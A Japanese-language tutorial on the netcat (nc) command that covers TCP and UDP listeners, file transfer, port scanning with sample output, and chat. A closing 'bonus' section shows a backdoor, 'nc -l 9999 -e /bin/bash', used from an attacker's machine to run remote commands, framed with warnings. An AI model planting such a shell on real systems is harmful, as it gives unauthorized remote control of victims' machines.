Netcatは、Linux、Mac、およびWindowsマシンで使用できる強力で用途の広いネットワークツールです。使い方は簡単で、ネットワーク通信に関心のあるすべての人にとって不可欠な学習です。
Netcatのコア機能は、2台のコンピューターが接続してリソースを共有できるようにすることです。その名前は、ネットワークと連結のかばん語であり、物事をつなぐための派手な言葉です。
TCPまたはUDPポートを介してマシン間で直接接続できます。一度確立されると、多くの潜在的なユースケースがあります。通信は双方向で機能するため、ファイルや情報をリスナーからクライアントに、またはクライアントからリスナーに移動できます。
Netcatは、その幅広い機能により、IT「スイスアーミーナイフ」として知られています。簡単なファイル送信、チャット、Webサービス、リモートでのコードの実行に使用できます。リストは広範で多様です。
この記事全体で、より一般的なアプリケーションのいくつかに焦点を当てます。
悪名高いことに、netcatは「バックドア」アクセスの作成に使用できます。これがどのように機能するかを説明しますが、悪意のある使用の可能性があるため、これはncソフトウェアの一部ではなくなったことを覚えておいてください。
Netcat(nc)コマンドの例
ncコマンドの構文は次のとおりです。
nc [options] [hostname] [port]
構文はアプリケーションによって異なりますが、ほとんどの場合、コマンドはこの基本的なパターンに従います。
見てみましょう
1。 netcatコマンドでTCPを使用して接続を作成する
前述したように、netcatのコア機能は2台のマシンを結合することです。 TCPを使用して接続を設定し、2台の別々のマシンを接続できます。また、端末を使用してその接続をエミュレートすることもできます。
リスニングマシン:
nc -l 8080
このコマンドはポート8080を開き、このポートでリッスンを開始するようにマシンに指示します。
接続を確立するには、別の端末を使用して次のように入力します。
クライアントマシン:
nc 127.0.0.1 8080
IPの代わりに「localhost」を使用することもできます。リモート接続を行う場合は、ここで2台目のPCのIPを使用することもできます。
これで、TCPポートを開き、2つのシステム間の接続を確立しました。
TCPとUDPの簡単な紹介
なぜデフォルトでTCPを使用するのですか? TCPはUDPより古いテクノロジーであり、OSIモデルのさまざまなレベルで動作します。それらの違いの概要を簡単に説明し、どちらかを選択できるいくつかの状況について説明します。
TCPには強力なエラー訂正機能があります。どういう意味ですか?基本的に、これは、データパケットがシステムからシステムに転送されている間、継続的なテストが実行されることを意味します。これらのテストは、システムAからの情報がシステムBに正確にコピーされることを確認します。これは、情報がネットワーク(インターネット)を移動するときに発生することの非常に単純化されたバージョンです。
ただし、TCPだけでなく、インターネット通信で使用されるプロトコルは多数あります。 UDPにはTCPとは異なるルールがあります。どちらも必ずしも「優れている」わけではありませんが、それぞれが異なるタスクの実行に優れている可能性があります。
なぜUDPoverTCPを使用するのでしょうか、またはその逆でしょうか。アプリケーションによって異なります。 TCPは低速ですが、データを正確に転送するための信頼性が高くなります。
UDPは、情報を送信する信頼性よりも速度が重要な状況で選択できます。この一例は、ビデオなどのストリーミングデータです。ビデオはUDPを介してより迅速に転送でき、送信にエラーがあったとしても、ユーザーエクスペリエンスに影響を与える可能性は低くなります。
2。 ncコマンドでUDPを使用して接続を作成します
UDP接続を確立するための手順は、すでに実行した手順と実質的に同じです。オプションフラグを追加して、開きたいポートのタイプがデフォルトのTCPではなくUDPであることを指定します。
nc -l -u 999
とても簡単です。 UDPポート「999」を開くために必要なのはこれだけです。
同じポート番号でTCPとUDPを使用できるかどうか疑問に思うかもしれません。別々のプロトコルなので、できます。
3。 ncコマンドを使用して、リモートシステム間でファイルを転送します
あるシステムから別のシステムにファイルを転送する方法は他にもあります。この目的でnetcatコマンドを使用することもできます。
この例では、LinuxマシンからMacBookProへのリモートファイル転送を示すデモを作成しました。
LinuxPCを受信するように設定
nc -l 9999 > fromMac.file
TCPポート9999で受信マシンでリッスンを開始します。「>
‘は、ファイルの転送を期待しているマシンに通知します。次の名前は、ファイルのローカル名です。
nc 172.20.1.168 9999 < toLinux.file
ここでのIPアドレスはLinuxマシンに属しています。記号を「<
」に反転します 」とファイル「toLinux.file」は「fromMac.file」としてリモートマシンにコピーされます。
これは、2つの異なるマシンを使用してファイルを送信する例です。
4。ポートスキャンにはncコマンドを使用します
ポートスキャンにはもっと効率的なオプションがあるかもしれませんが、netcatを使用して実行できます。ほとんどのオペレーティングシステムにはデフォルトでnetcatがインストールされているため、簡単なトラブルシューティングが必要な場合は、これを行う方法を知っておくと便利です。 「-n」を使用して、詳細な出力を表示します。
nc -v -n 127.0.0.1 1-100
これにより、1〜100のポートに接続しようとします。多くの人が知っているように、ポート80はHTTPです。このポートはインターネットへの接続に使用されるため、通常はマシン上で開いています。
このコマンドを使用すると、実際には1〜100のすべてのポートに接続しようとしています。ポート80に正常に接続しますが、Apacheからエラーメッセージを生成します。コンピューターがそれを不正なページ要求と見なしているため、ターミナルにHTML出力が表示されることになります。
[...]
nc: connect to 127.0.0.1 port 77 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 78 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 79 (tcp) failed: Connection refused
Connection to 127.0.0.1 80 port [tcp/*] succeeded!
HTTP/1.1 400 Bad Request
Date: Fri, 20 Dec 2019 15:08:29 GMT
Server: Apache/2.4.38 (Ubuntu)
Content-Length: 310
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.38 (Ubuntu) Server at pop-os.localdomain Port 80</address>
</body></html>
これを回避するには、-z
を使用できます ゼロ入力/出力を表すフラグ。これは、netcatに組み込まれているポートスキャンモードです。私はまだ同じ言語を取得しますが、実際にはポート80に接続せず、不正な要求エラーが発生します。代わりに、スキャンされたすべてのポートを通過し続けます。
5。 Netcatとチャットする
これは、netcatを使用するためのより楽しい方法です。上記のようにTCP接続を確立すると、実際にマシン間で「チャット」できます。テキストメッセージやチャットアプリケーションが普及している時代ではそれほど目新しいものではありませんが、これは1996年に誰かの心を完全に吹き飛ばしたでしょう。
これは、ある端末から別の端末に向かって話している様子を示すアニメーションです。
かなりかっこいいですよね?
ボーナスのヒント:ncコマンドでバックドアを作成する
これはデモンストレーション目的でのみ表示します。このコマンドの不正使用は、お住まいの地域では犯罪行為と見なされる可能性があることに注意してください。
実際、このコマンドは「nc」では何も実行しなくなりました。それを行う方法はいくつかありますが、どこか別の場所で見つける必要があります。繰り返しになりますが、これは機能を示すことのみを目的としています。
-e フラグは何かを実行可能にします。悪意のある攻撃者がアクセスする一般的な方法は、開いているポートにそのようなバックドアを作成し、それを使用してスクリプトを実行したり、ファイルシステムを操作したりすることです。
したがって、攻撃者が何らかの方法で「被害者」のマシンにアクセスした場合、攻撃者は次のようなバックドアを作成できます。
nc -l 9999 -e /bin/bash
これで、攻撃者はこのバックドアを使用してシステムにリモートアクセスし、コマンドを実行できるようになります。したがって、攻撃者のシステムから:
nc 192.168.1.10 9999
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
firefox linuxhandbook.com
これにより、攻撃者はコマンドラインからリモートでコンピュータにアクセスできます。接続すると、コンピューターを直接使用した場合と同じようにbashコマンドを実行できます。
最善の意図を持たない誰かがこの力を悪用する方法を想像できると思います。これにより、あらゆるネットワークのポートアクティビティを監視することが非常に重要になります。
このnetcatコマンドの簡単な紹介を楽しんでいただけたでしょうか。いつものように、コメントセクションであなたの考えを教えてください。